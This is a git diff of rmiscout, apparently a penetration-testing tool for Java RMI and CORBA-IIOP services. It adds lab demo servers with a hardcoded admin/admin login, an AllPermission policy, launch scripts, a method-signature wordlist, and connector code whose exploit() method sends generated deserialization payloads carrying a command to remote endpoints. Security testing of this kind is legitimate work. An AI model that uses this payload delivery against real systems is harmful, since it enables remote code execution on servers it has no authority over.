public String sayTest8(double name) { return "Hello from the server!"; }
|
||||
public String sayTest9(Map name) { return "Hello from the server!"; }
|
||||
public String sayTest10(HashMap name) { return "Hello from the server!"; }
|
||||
public String sayTest11(List name) { return "Hello from the server!"; }
|
||||
public String sayTest12(Object name) { return "Hello from the server!"; }
|
||||
public String sayTest13(Class name) { return "Hello from the server!"; }
|
||||
public String sayTest14(int[] name) { return "Hello from the server!"; }
|
||||
public String sayTest15(Object[] name) { return "Hello from the server!"; }
|
||||
public String sayTest16(HashMap[] name) { return "Hello from the server!"; }
|
||||
|
||||
// Overload tests
|
||||
public String sayHello(int name) {
|
||||
return "Hello #" + name;
|
||||
}
|
||||
|
||||
public String sayHello(String name) {
|
||||
return "Hello" + name;
|
||||
}
|
||||
|
||||
public String sayHello(String name, String from) {
|
||||
return "Hello" + name + " from " + from;
|
||||
}
|
||||
|
||||
// Multi-param tests + overloading
|
||||
public String sayTest17(int a, float b) { return "Hello from the server!"; }
|
||||
public String sayTest17(int a) { return "Hello from the server!"; }
|
||||
public String sayTest18(List a, List b) { return "Hello from the server!"; }
|
||||
public String sayTest18(List a) { return "Hello from the server!"; }
|
||||
public String sayTest19(int a) { return "Hello from the server!"; }
|
||||
public String sayTest19(List a, List b) { return "Hello from the server!"; }
|
||||
public String sayTest19(List[] a, int b) { return "Hello from the server!"; }
|
||||
|
||||
//Different return types
|
||||
public Object sayTest20(String a) { return "Hello from the server!"; }
|
||||
public Object[] sayTest21(String a) { return new Object[]{new String("Hello from the server!")}; }
|
||||
public int[] sayTest22(String a) { return new int[]{1,2,3}; }
|
||||
public Class[][] sayTest23(String a) { return new Class[][]{new Class[]{String.class, Object.class}}; }
|
||||
public void sayTest24(String a) {}
|
||||
/** END TESTS **/
|
||||
|
||||
public static void main(String args[]) {
|
||||
|
||||
try {
|
||||
PlainServer obj = new PlainServer();
|
||||
HelloInterface stub = (HelloInterface) UnicastRemoteObject.exportObject(obj, 1111);
|
||||
|
||||
Registry registry = LocateRegistry.getRegistry();
|
||||
registry.bind("plaintest", stub);
|
||||
|
||||
System.err.println("Plain Server ready on port 1099...");
|
||||
} catch (Exception e) {
|
||||
System.err.println("Plain Server exception: " + e.toString());
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
package com.bishopfox.example;
|
||||
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
import java.rmi.RemoteException;
|
||||
import java.rmi.RMISecurityManager;
|
||||
import java.rmi.server.UnicastRemoteObject;
|
||||
import java.util.*;
|
||||
import javax.rmi.ssl.SslRMIClientSocketFactory;
|
||||
import javax.rmi.ssl.SslRMIServerSocketFactory;
|
||||
|
||||
public class SSLServer implements HelloInterface {
|
||||
|
||||
public SSLServer() {}
|
||||
|
||||
/** START TESTS **/
|
||||
// void function
|
||||
public String restart() { return "Hello from the server!"; }
|
||||
|
||||
// invoke tests
|
||||
public boolean login(String email, String password) {
|
||||
if (email.equals("[email protected]") && password.equals("admin")) {
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public int add(int a, int b) {
|
||||
return a + b;
|
||||
}
|
||||
|
||||
public int addList(int[] a) {
|
||||
int acc = 0;
|
||||
for (int i = 0; i < a.length; i++) {
|
||||
acc += a[i];
|
||||
}
|
||||
return acc;
|
||||
}
|
||||
|
||||
// Single param type tests
|
||||
public String sayTest1(int name) { return "Hello from the server!"; }
|
||||
public String sayTest2(byte name) { return "Hello from the server!"; }
|
||||
public String sayTest3(short name) { return "Hello from the server!"; }
|
||||
public String sayTest4(long name) { return "Hello from the server!"; }
|
||||
public String sayTest5(char name) { return "Hello from the server!"; }
|
||||
public String sayTest6(boolean name) { return "Hello from the server!"; }
|
||||
public String sayTest7(float name) { return "Hello from the server!"; }
|
||||
public String sayTest8(double name) { return "Hello from the server!"; }
|
||||
public String sayTest9(Map name) { return "Hello from the server!"; }
|
||||
public String sayTest10(HashMap name) { return "Hello from the server!"; }
|
||||
public String sayTest11(List name) { return "Hello from the server!"; }
|
||||
public String sayTest12(Object name) { return "Hello from the server!"; }
|
||||
public String sayTest13(Class name) { return "Hello from the server!"; }
|
||||
public String sayTest14(int[] name) { return "Hello from the server!"; }
|
||||
public String sayTest15(Object[] name) { return "Hello from the server!"; }
|
||||
public String sayTest16(HashMap[] name) { return "Hello from the server!"; }
|
||||
|
||||
// Overload tests
|
||||
public String sayHello(int name) {
|
||||
return "Hello #" + name;
|
||||
}
|
||||
|
||||
public String sayHello(String name) {
|
||||
return "Hello" + name;
|
||||
}
|
||||
|
||||
public String sayHello(String name, String from) {
|
||||
return "Hello" + name + " from " + from;
|
||||
}
|
||||
|
||||
// Multi-param tests + overloading
|
||||
public String sayTest17(int a, float b) { return "Hello from the server!"; }
|
||||
public String sayTest17(int a) { return "Hello from the server!"; }
|
||||
public String sayTest18(List a, List b) { return "Hello from the server!"; }
|
||||
public String sayTest18(List a) { return "Hello from the server!"; }
|
||||
public String sayTest19(int a) { return "Hello from the server!"; }
|
||||
public String sayTest19(List a, List b) { return "Hello from the server!"; }
|
||||
public String sayTest19(List[] a, int b) { return "Hello from the server!"; }
|
||||
|
||||
//Different return types
|
||||
public Object sayTest20(String a) { return "Hello from the server!"; }
|
||||
public Object[] sayTest21(String a) { return new Object[]{new String("Hello from the server!")}; }
|
||||
public int[] sayTest22(String a) { return new int[]{1,2,3}; }
|
||||
public Class[][] sayTest23(String a) { return new Class[][]{new Class[]{String.class, Object.class}}; }
|
||||
public void sayTest24(String a) {}
|
||||
/** END TESTS **/
|
||||
|
||||
public static void main(String args[]) {
|
||||
// Create and install a security manager
|
||||
if (System.getSecurityManager() == null) {
|
||||
System.setSecurityManager(new RMISecurityManager());
|
||||
}
|
||||
|
||||
try {
|
||||
SSLServer obj = new SSLServer();
|
||||
HelloInterface stub = (HelloInterface) UnicastRemoteObject.exportObject(obj, 0);
|
||||
|
||||
//Registry registry = LocateRegistry.getRegistry();
|
||||
|
||||
// Create SSL-based registry
|
||||
Registry registry = LocateRegistry.createRegistry(1100,
|
||||
new SslRMIClientSocketFactory(),
|
||||
new SslRMIServerSocketFactory());
|
||||
registry.bind("ssltest", stub);
|
||||
|
||||
System.err.println("SSL Server ready on port 1100...");
|
||||
} catch (Exception e) {
|
||||
System.err.println("SSL Server exception: " + e.toString());
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
grant {
|
||||
permission java.security.AllPermission;
|
||||
};
|
||||
|
||||
Binary file not shown.
+25
@@ -0,0 +1,25 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Start registries
|
||||
orbd -ORBInitialPort 1050&
|
||||
rmiregistry&
|
||||
|
||||
# Activation server and export object
|
||||
rmid -J-Djava.security.policy=resources/policy&
|
||||
sleep 2
|
||||
java -classpath . -Djava.rmi.server.codebase=file:$PWD \
|
||||
-Djava.security.policy=resources/policy \
|
||||
com.bishopfox.example.ActivationServer
|
||||
|
||||
# Start Servers
|
||||
java -classpath . -Djava.naming.factory.initial=com.sun.jndi.cosnaming.CNCtxFactory \
|
||||
-Djava.naming.provider.url=iiop://localhost:1050 \
|
||||
com.bishopfox.example.CorbaServer&
|
||||
java -classpath . -Djava.rmi.server.codebase=file:$PWD \
|
||||
-Djava.rmi.server.hostname=127.0.0.1 \
|
||||
com.bishopfox.example.PlainServer&
|
||||
java -classpath . -Djava.rmi.server.codebase=file:$PWD \
|
||||
-Djava.security.policy=resources/policy \
|
||||
-Djavax.net.ssl.keyStore=resources/selfsigned.jks \
|
||||
-Djavax.net.ssl.keyStorePassword=test123 \
|
||||
com.bishopfox.example.SSLServer
|
||||
@@ -1,7 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
rmiregistry &
|
||||
PID=$!
|
||||
|
||||
javac *.java && java -classpath ./ -Djava.rmi.server.codebase=file:$PWD Server
|
||||
kill $PID
|
||||
Executable
+15
@@ -0,0 +1,15 @@
|
||||
#!/bin/bash
|
||||
# 1050: Corba/RMI-IIOP
|
||||
# 1098: Activation System Daemon (rmid)/accessed from 1099 "ActivationServer"
|
||||
# 1099: rmiregistry for "plaintest" and "ActivationServer"
|
||||
# 1099: RMI-SSL
|
||||
# 1111: "plaintest" Localhost bound RMI Server (localhost-bypass test)
|
||||
# accessed from 1099
|
||||
docker build . -t "rmiscout-demo" && \
|
||||
docker run \
|
||||
-p 1050:1050 \
|
||||
-p 1098:1098 \
|
||||
-p 1099:1099 \
|
||||
-p 1100:1100 \
|
||||
-p 172.17.0.1:1111:1111 \
|
||||
-it rmiscout-demo
|
||||
+24
-4
@@ -1,5 +1,7 @@
|
||||
java.util.ArrayList say2things(String test, int test)
|
||||
String sayTest(Object test)
|
||||
String restart()
|
||||
boolean login(String email, String password)
|
||||
int add(int a, int b)
|
||||
int addList(int a)
|
||||
String sayTest1(int name)
|
||||
String sayTest2(byte name)
|
||||
String sayTest3(short name)
|
||||
@@ -12,5 +14,23 @@ String sayTest9(java.util.Map name)
|
||||
String sayTest10(java.util.HashMap name)
|
||||
String sayTest11(java.util.List name)
|
||||
String sayTest12(Object name)
|
||||
String doesNotExist(String name)
|
||||
String restart()
|
||||
String sayTest13(Class name)
|
||||
String sayTest14(int[] name)
|
||||
String sayTest15(Object[] name)
|
||||
String sayTest16(java.util.HashMap[] name)
|
||||
String sayHello(int name)
|
||||
String sayHello(String name)
|
||||
String sayHello(String name, String from)
|
||||
String sayTest17(int a, float b)
|
||||
String sayTest17(int a)
|
||||
String sayTest18(java.util.List a, java.util.List b)
|
||||
String sayTest18(java.util.List a)
|
||||
String sayTest19(int a)
|
||||
String sayTest19(java.util.List a, java.util.List b)
|
||||
String sayTest19(java.util.List[] a, int b)
|
||||
Object sayTest20(String a)
|
||||
Object[] sayTest21(String a)
|
||||
int[] sayTest22(String a)
|
||||
Class[][] sayTest23(String a)
|
||||
void sayTest24(String a)
|
||||
void doesnotexist(does.not.exist a)
|
||||
@@ -644,7 +644,7 @@ int findPort(String dep)
|
||||
int find(String charName)
|
||||
int getActivityDisplayId(android.os.IBinder activityToken)
|
||||
int getActivityStackId(android.os.IBinder token)
|
||||
int[]getAndereGok(String sessionToken)
|
||||
int[] getAndereGok(String sessionToken)
|
||||
int getAppStartMode(int uid, String packageName)
|
||||
int getCloseOutMode(java.lang.String carrier, long global_msn)
|
||||
int getCpuPercent(String address)
|
||||
@@ -657,7 +657,7 @@ int getDPadScancodeState(int arg0)
|
||||
int getFreeDisk(String address)
|
||||
int getFreeDisk(String address,String disk)
|
||||
int getFwPort()
|
||||
int[]getGameGok(int i, int viewerId)
|
||||
int[] getGameGok(int i, int viewerId)
|
||||
int getGame(int i)
|
||||
int getIntegrationDefaultFolderId(long sessionId, int projectId)
|
||||
int getKeycodeStateForDevice(int arg0, int arg1)
|
||||
@@ -1888,7 +1888,7 @@ void incrementRound(String login)
|
||||
void initForTests(java.util.Map map)
|
||||
void inmulteste(double x)
|
||||
void insertAnswers(java.util.List a)
|
||||
void insertFamilyData(String[][]arr)
|
||||
void insertFamilyData(String[][] arr)
|
||||
void insertRemindedPassword(String email, String userPassword)
|
||||
void insertSoxDbPackage(com.aasc.erp.carrier.shipexec.proxy.types.psi.wcf.Package pkg)
|
||||
void installSmartCardTrustAnchor(String cert)
|
||||
|
||||
+2
-2
@@ -1,6 +1,6 @@
|
||||
#!/bin/bash
|
||||
|
||||
if [[ ! -f build/libs/rmiscout-1.01-SNAPSHOT-all.jar ]]; then
|
||||
if [[ ! -f build/libs/rmiscout-1.4-SNAPSHOT-all.jar ]]; then
|
||||
./gradlew shadowJar
|
||||
fi
|
||||
java -jar build/libs/rmiscout-1.01-SNAPSHOT-all.jar "$@"
|
||||
java -jar build/libs/rmiscout-1.4-SNAPSHOT-all.jar "$@"
|
||||
@@ -0,0 +1,11 @@
|
||||
package com.bishopfox.rmiscout;
|
||||
|
||||
import java.io.Serializable;
|
||||
|
||||
public interface Connector {
|
||||
public void exploit(String payloadName, String command);
|
||||
public boolean execute(Serializable[] payloads, boolean preserveStrings);
|
||||
public void cleanup();
|
||||
public void invoke(String[] params);
|
||||
public void checkIfPresent();
|
||||
}
|
||||
@@ -0,0 +1,213 @@
|
||||
package com.bishopfox.rmiscout;
|
||||
|
||||
import com.sun.corba.se.impl.corba.CORBAObjectImpl;
|
||||
import javassist.*;
|
||||
import org.omg.CORBA.ORB;
|
||||
|
||||
import javax.naming.*;
|
||||
import java.io.Serializable;
|
||||
import java.rmi.AccessException;
|
||||
import java.rmi.RemoteException;
|
||||
import java.util.*;
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public class IIOPConnector implements Connector {
|
||||
private List<String> signatures;
|
||||
private String[] regNames;
|
||||
private boolean allowUnsafe;
|
||||
private HashMap<String, IIOPStub> remoteRefs;
|
||||
private static final HashMap<String, String> corbaTypeMap = new HashMap<String, String>() {{
|
||||
put("int","long");
|
||||
put("long","long_long");
|
||||
put("java_lang_String","CORBA_WStringValue");
|
||||
put("java_lang_Class","javax_rmi_CORBA_ClassDesc");
|
||||
put("byte","octet");
|
||||
put("char","wchar");
|
||||
}};
|
||||
private boolean responseExpected = false;
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public IIOPConnector(String host, int port, String remoteName, List<String> signatures, boolean allowUnsafe) {
|
||||
if (!System.getProperty("java.version").startsWith("1.8")) {
|
||||
System.err.println(Utilities.Colors.RED + "[ERROR] Corba-IIOP only works on JRE 8 " + Utilities.Colors.ENDC);
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
this.signatures = signatures;
|
||||
this.allowUnsafe = allowUnsafe;
|
||||
this.regNames = null;
|
||||
|
||||
Properties props = new Properties();
|
||||
String iiopUrl = "iiop://" + host + ":" + port;
|
||||
props.put(Context.PROVIDER_URL, iiopUrl);
|
||||
props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.cosnaming.CNCtxFactory");
|
||||
|
||||
Context ctx = null;
|
||||
try {
|
||||
ctx = new InitialContext(props);
|
||||
|
||||
regNames = list(ctx);
|
||||
|
||||
if (remoteName != null) {
|
||||
regNames = new String[]{remoteName};
|
||||
}
|
||||
|
||||
this.remoteRefs = new HashMap<>();
|
||||
for (String regName : regNames) {
|
||||
try {
|
||||
CORBAObjectImpl ref = (CORBAObjectImpl) ctx.lookup(regName);
|
||||
IIOPStub stub = new IIOPStub();
|
||||
stub._set_delegate(ref._get_delegate());
|
||||
remoteRefs.put(remoteName, stub);
|
||||
} catch (NameNotFoundException e) {
|
||||
System.err.println(Utilities.Colors.RED + "[ERROR] Registry not bound on remote server: '" + regName + "'" + Utilities.Colors.ENDC);
|
||||
System.exit(-1);
|
||||
}
|
||||
}
|
||||
} catch (NamingException e) {
|
||||
System.err.println(Utilities.Colors.RED + "[ERROR] Could not connect to remote host: " + iiopUrl + Utilities.Colors.ENDC);
|
||||
System.exit(-1);
|
||||
} catch (AccessException e) {
|
||||
e.printStackTrace();
|
||||
} catch (RemoteException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public static String[] list(Context ctx) throws RemoteException, AccessException {
|
||||
NamingEnumeration list = null;
|
||||
try {
|
||||
ArrayList<String> ret = new ArrayList<String>();
|
||||
|
||||
list = ctx.list("");
|
||||
|
||||
while (list.hasMore()) {
|
||||
String[] split = list.next().toString().split(":");
|
||||
ret.add(split[0]);
|
||||
}
|
||||
return ret.toArray(new String[ret.size()]);
|
||||
} catch (NamingException e) {
|
||||
e.printStackTrace();
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkIfPresent() {
|
||||
Serializable[] payload = new Serializable[]{
|
||||
Utilities.generateDummyClass(ClassPool.getDefault())
|
||||
};
|
||||
execute(payload, false);
|
||||
}
|
||||
|
||||
public boolean execute(Serializable[] payloads, boolean preserveStrings) {
|
||||
boolean success = false;
|
||||
for (Map.Entry<String, IIOPStub> pair : remoteRefs.entrySet()) {
|
||||
CtClass dummyInterface = ClassPool.getDefault().makeInterface("DummyInterface");
|
||||
IIOPStub stub = pair.getValue();
|
||||
|
||||
for (String sig : signatures) {
|
||||
Utilities.checkAndCreateTypes(sig);
|
||||
|
||||
CtMethod newmethod = null;
|
||||
try {
|
||||
newmethod = CtNewMethod.make(String.format("%s throws java.rmi.RemoteException;", sig), dummyInterface);
|
||||
CtClass[] types = newmethod.getParameterTypes();
|
||||
|
||||
// Skip void args because they will always be executed
|
||||
if (!allowUnsafe && types.length < 2) {
|
||||
if (types.length == 0) {
|
||||
System.out.println("[INFO] Skipping, void args: " + sig);
|
||||
continue;
|
||||
} else if (!types[0].getName().contains(".") && !types[0].getName().contains("[]")) {
|
||||
System.out.println("[INFO] Skipping, single primitive arg: " + sig);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
ArrayList<ParamPair> params = new ArrayList<>();
|
||||
String corbaSig = newmethod.getName();
|
||||
for (int i = 0; i < types.length; i++) {
|
||||
// Generate CORBA signature
|
||||
corbaSig += "__";
|
||||
|
||||
// Resolve special CORBA type names
|
||||
String type = types[i].getName().replace(".","_");
|
||||
String cleanType = type.replace("[]", "");
|
||||
|
||||
if (corbaTypeMap.containsKey(cleanType)) {
|
||||
cleanType = corbaTypeMap.get(cleanType);
|
||||
}
|
||||
|
||||
if (type.contains("[]")){
|
||||
// Create the crazy CORBA array identifier
|
||||
int nDimensions = Utilities.count("[]", type);
|
||||
int split = cleanType.lastIndexOf("_");
|
||||
if (split > 1) {
|
||||
corbaSig += "org_omg_boxedRMI_" + cleanType.substring(0, split) + "_seq" + nDimensions + cleanType.substring(split);
|
||||
} else {
|
||||
corbaSig += "org_omg_boxedRMI_" + cleanType + "_seq" + nDimensions + "_" + cleanType;
|
||||
}
|
||||
|
||||
// Add payload to params
|
||||
params.add(new ParamPair(new Object[0].getClass(), payloads[i % payloads.length]));
|
||||
}
|
||||
else {
|
||||
corbaSig += cleanType;
|
||||
// Add payload to params
|
||||
params.add(new ParamPair(payloads[i % payloads.length].getClass(), payloads[i % payloads.length]));
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
if(!stub.execute(newmethod.getName(), params, sig, responseExpected)) {
|
||||
// Check duplicate method name syntax
|
||||
if(stub.execute(corbaSig, params, sig, responseExpected)) {
|
||||
success = true;
|
||||
}
|
||||
} else {
|
||||
success = true;
|
||||
}
|
||||
} catch (CannotCompileException e) {
|
||||
System.err.println("\n" + Utilities.Colors.RED + "[ERROR] Invalid Signature: " + sig + Utilities.Colors.ENDC);
|
||||
e.printStackTrace();
|
||||
} catch (NotFoundException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
return success;
|
||||
}
|
||||
|
||||
public void exploit(String payloadName, String command) {
|
||||
Serializable[] payload = new Serializable[]{
|
||||
Utilities.generatePayload(payloadName, command)
|
||||
};
|
||||
// Check for universally exploitable param (i.e., non-primitives other than java.lang.String)
|
||||
//boolean exploitableParam = checkExploitableParam();
|
||||
|
||||
// Try preserving strings during execution if first try fails
|
||||
if(!execute(payload, false)) {// && !execute(payload, true)) {
|
||||
// if (exploitableParam) {
|
||||
// System.err.println(RMIConnector.Colors.RED + "[ERROR] Payload was not invoked. Check the accuracy of the signature." + RMIConnector.Colors.ENDC);
|
||||
// } else {
|
||||
// System.err.println(RMIConnector.Colors.RED + "[ERROR] Server-side JRE (>=8u242-b07, >=11.0.6+10, >=13.0.2+5, >=14.0.1+2) can't be exploited by java.lang.String types" + RMIConnector.Colors.ENDC);
|
||||
// }
|
||||
} else {
|
||||
System.out.println("Executed");
|
||||
}
|
||||
}
|
||||
|
||||
public void invoke(String[] params) {
|
||||
responseExpected = true;
|
||||
Serializable[] payloads = Utilities.UnmarshalParams(signatures.get(0), params);
|
||||
execute(payloads, false);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void cleanup() {
|
||||
// pass
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,214 @@
|
||||
package com.bishopfox.rmiscout;
|
||||
|
||||
import org.omg.CORBA.portable.ApplicationException;
|
||||
import org.omg.CORBA.portable.RemarshalException;
|
||||
import org.omg.CORBA_2_3.portable.OutputStream;
|
||||
|
||||
import javax.rmi.CORBA.Stub;
|
||||
import java.util.List;
|
||||
|
||||
public class IIOPStub extends Stub
|
||||
{
|
||||
private static final String[] _type_ids = { "RMI:DummyInterface:0000000000000000" };
|
||||
|
||||
public String[] _ids()
|
||||
{
|
||||
// Unused method. Requires override for Stub superclass
|
||||
return _type_ids.clone();
|
||||
}
|
||||
|
||||
public boolean execute(String operation, List<ParamPair> params, String signature, boolean responseExpected) {
|
||||
org.omg.CORBA_2_3.portable.InputStream localInputStream = null;
|
||||
org.omg.CORBA_2_3.portable.InputStream response = null;
|
||||
boolean success = false;
|
||||
|
||||
try
|
||||
{
|
||||
OutputStream localOutputStream = (OutputStream)_request(operation, true);
|
||||
for (ParamPair p : params) {
|
||||
//localOutputStream.write_value(p.value, p.name);
|
||||
switch(p.value.getClass().getName()) {
|
||||
case "java.lang.Integer":
|
||||
localOutputStream.write_long((int)p.value);
|
||||
break;
|
||||
case "[I":
|
||||
localOutputStream.write_long_array((int[])p.value,0, ((int[])p.value).length);
|
||||
break;
|
||||
case "java.lang.Long":
|
||||
localOutputStream.write_longlong((int)p.value);
|
||||
break;
|
||||
case "[J":
|
||||
localOutputStream.write_longlong_array((long[])p.value,0, ((long[])p.value).length);
|
||||
break;
|
||||
case "java.lang.Short":
|
||||
localOutputStream.write_short((short)p.value);
|
||||
break;
|
||||
case "[S":
|
||||
localOutputStream.write_short_array((short[])p.value,0, ((short[])p.value).length);
|
||||
break;
|
||||
case "java.lang.Boolean":
|
||||
localOutputStream.write_boolean((boolean)p.value);
|
||||
break;
|
||||
case "[Z":
|
||||
localOutputStream.write_boolean_array((boolean[])p.value,0, ((boolean[])p.value).length);
|
||||
break;
|
||||
case "java.lang.Float":
|
||||
localOutputStream.write_float((float)p.value);
|
||||
break;
|
||||
case "[F":
|
||||
localOutputStream.write_float_array((float[])p.value,0, ((float[])p.value).length);
|
||||
break;
|
||||
case "java.lang.Double":
|
||||
localOutputStream.write_double((double)p.value);
|
||||
break;
|
||||
case "[D":
|
||||
localOutputStream.write_double_array((double[])p.value,0, ((double[])p.value).length);
|
||||
break;
|
||||
case "java.lang.Char":
|
||||
localOutputStream.write_char((char)p.value);
|
||||
break;
|
||||
case "[C":
|
||||
localOutputStream.write_char_array((char[])p.value,0, ((char[])p.value).length);
|
||||
break;
|
||||
case "java.lang.Byte":
|
||||
localOutputStream.write_octet((byte)p.value);
|
||||
break;
|
||||
case "[B":
|
||||
localOutputStream.write_octet_array((byte[])p.value,0, ((byte[])p.value).length);
|
||||
break;
|
||||
default:
|
||||
localOutputStream.write_value(p.value, p.name);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
Utilities.toggleSystemErr();
|
||||
response = (org.omg.CORBA_2_3.portable.InputStream)_invoke(localOutputStream);
|
||||
Utilities.toggleSystemErr();
|
||||
|
||||
// Statement only reached if operation exists
|
||||
success = true;
|
||||
System.out.println(Utilities.Colors.YELLOW + "Executed: " + signature + Utilities.Colors.ENDC);
|
||||
if (responseExpected) {
|
||||
String retVal = "unknown";
|
||||
String returnType = signature.substring(0, signature.indexOf(" "));
|
||||
|
||||
switch (returnType) {
|
||||
case "int":
|
||||
retVal = String.valueOf(response.read_long());
|
||||
break;
|
||||
case "int[]":
|
||||
retVal = String.valueOf(response.read_value(new int[0].getClass()));
|
||||
break;
|
||||
case "long":
|
||||
retVal = String.valueOf(response.read_longlong());
|
||||
break;
|
||||
case "long[]":
|
||||
retVal = String.valueOf(response.read_value(new long[0].getClass()));
|
||||
break;
|
||||
case "short":
|
||||
retVal = String.valueOf(response.read_short());
|
||||
break;
|
||||
case "short[]":
|
||||
retVal = String.valueOf(response.read_value(new short[0].getClass()));
|
||||
break;
|
||||
case "boolean":
|
||||
retVal = String.valueOf(response.read_boolean());
|
||||
break;
|
||||
case "boolean[]":
|
||||
retVal = String.valueOf(response.read_value(new boolean[0].getClass()));
|
||||
break;
|
||||
case "float":
|
||||
retVal = String.valueOf(response.read_float());
|
||||
break;
|
||||
case "float[]":
|
||||
retVal = String.valueOf(response.read_value(new float[0].getClass()));
|
||||
break;
|
||||
case "double":
|
||||
retVal = String.valueOf(response.read_double());
|
||||
break;
|
||||
case "double[]":
|
||||
retVal = String.valueOf(response.read_value(new double[0].getClass()));
|
||||
break;
|
||||
case "char":
|
||||
retVal = String.valueOf(response.read_char());
|
||||
break;
|
||||
case "char[]":
|
||||
retVal = String.valueOf(response.read_value(new char[0].getClass()));
|
||||
break;
|
||||
case "byte":
|
||||
retVal = String.valueOf(response.read_octet());
|
||||
break;
|
||||
case "byte[]":
|
||||
retVal = String.valueOf(response.read_value(new byte[0].getClass()));
|
||||
break;
|
||||
case "String":
|
||||
retVal = (String) response.read_value(String.class);
|
||||
break;
|
||||
case "String[]":
|
||||
retVal = (String) response.read_value(new String[0].getClass());
|
||||
break;
|
||||
}
|
||||
|
||||
System.out.println("\tResponse [" + returnType + "] = " + retVal);
|
||||
}
|
||||
}
|
||||
catch (ApplicationException localApplicationException)
|
||||
{
|
||||
localInputStream = (org.omg.CORBA_2_3.portable.InputStream)localApplicationException.getInputStream();
|
||||
String resp = localInputStream.read_string();
|
||||
localApplicationException.printStackTrace();
|
||||
}
|
||||
catch (RemarshalException localRemarshalException)
|
||||
{
|
||||
localRemarshalException.printStackTrace();
|
||||
}
|
||||
catch (org.omg.CORBA.BAD_OPERATION e) {
|
||||
// Operation does not exist
|
||||
// e.printStackTrace();
|
||||
}
|
||||
catch (org.omg.CORBA.portable.UnknownException e) {
|
||||
if (e.originalEx instanceof ClassCastException) {
|
||||
//exists; Type mismatch
|
||||
System.out.println(Utilities.Colors.GREEN + "Found: " + signature + Utilities.Colors.ENDC);
|
||||
success = true;
|
||||
}
|
||||
else if (e.originalEx instanceof IllegalArgumentException) {
|
||||
//exists; too few arguments
|
||||
System.out.println(Utilities.Colors.GREEN + "Found: " + signature + Utilities.Colors.ENDC);
|
||||
success = true;
|
||||
}
|
||||
|
||||
else {
|
||||
// Unknown condition
|
||||
e.printStackTrace();
|
||||
|
||||
}
|
||||
}
|
||||
catch(org.omg.CORBA.MARSHAL e) {
|
||||
if (e.getMessage().contains("ClassNotFoundException")) {
|
||||
System.out.println(Utilities.Colors.GREEN + "Found: " + signature + Utilities.Colors.ENDC);
|
||||
}
|
||||
else {
|
||||
// Unknown condition
|
||||
e.printStackTrace();
|
||||
if (response != null) {
|
||||
System.err.println(Utilities.Colors.RED + "[ERROR] Failed to unmarshal return value (wrong type?). " +
|
||||
"Consider using the \"void\" return type to ignore the return value." + Utilities.Colors.ENDC);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch(org.omg.CORBA.BAD_PARAM e) {
|
||||
System.out.println(Utilities.Colors.GREEN + "Found (Potential type mismatch): " + signature + Utilities.Colors.ENDC);
|
||||
success = true;
|
||||
}
|
||||
catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
finally
|
||||
{
|
||||
_releaseReply(localInputStream);
|
||||
}
|
||||
return success;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
package com.bishopfox.rmiscout;
|
||||
|
||||
import java.io.Serializable;
|
||||
|
||||
public class ParamPair {
|
||||
public Class name;
|
||||
public Serializable value;
|
||||
|
||||
public ParamPair(Class name, Serializable value) {
|
||||
this.name = name;
|
||||
this.value = value;
|
||||
}
|
||||
}
|
||||
@@ -4,61 +4,69 @@ import javassist.*;
|
||||
import javassist.Modifier;
|
||||
import javassist.bytecode.DuplicateMemberException;
|
||||
import sun.misc.Unsafe;
|
||||
import ysoserial.payloads.ObjectPayload;
|
||||
import sun.rmi.server.UnicastRef;
|
||||
import sun.rmi.transport.Endpoint;
|
||||
import sun.rmi.transport.LiveRef;
|
||||
import sun.rmi.transport.tcp.TCPEndpoint;
|
||||
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.*;
|
||||
import java.rmi.*;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.server.*;
|
||||
import java.security.SecureRandom;
|
||||
import java.util.*;
|
||||
|
||||
@SuppressWarnings({"deprecation", "unchecked"})
|
||||
public class RMIConnector {
|
||||
public class RMIConnector implements Connector {
|
||||
private Registry registry;
|
||||
private String host;
|
||||
private Map<String, Remote> remoteRefs;
|
||||
private Loader customClassLoader;
|
||||
private ClassLoader originalClassLoader;
|
||||
private boolean allowUnsafe;
|
||||
private boolean isSSL;
|
||||
private boolean isActivationServer;
|
||||
private Class dummyClass;
|
||||
private static final int parameterTypesOffset = 52;
|
||||
private boolean isActivationServer;
|
||||
private List<String> signatures;
|
||||
|
||||
|
||||
private static class Colors {
|
||||
public static String GREEN = "\033[92m";
|
||||
public static String ENDC = "\033[0m";
|
||||
|
||||
}
|
||||
|
||||
private void generateDummyClass(ClassPool pool) {
|
||||
SecureRandom random = new SecureRandom();
|
||||
byte bytes[] = new byte[256];
|
||||
random.nextBytes(bytes);
|
||||
Base64.Encoder encoder = Base64.getUrlEncoder().withoutPadding();
|
||||
String clsname = encoder.encodeToString(bytes).substring(0,254).replace("-","_");
|
||||
try {
|
||||
CtClass ctclass = pool.makeClass(clsname);
|
||||
ctclass.setInterfaces(new CtClass[]{pool.get("java.io.Serializable")});
|
||||
dummyClass = ctclass.toClass();
|
||||
} catch (CannotCompileException e) {
|
||||
e.printStackTrace();
|
||||
} catch (NotFoundException e) {
|
||||
e.printStackTrace();
|
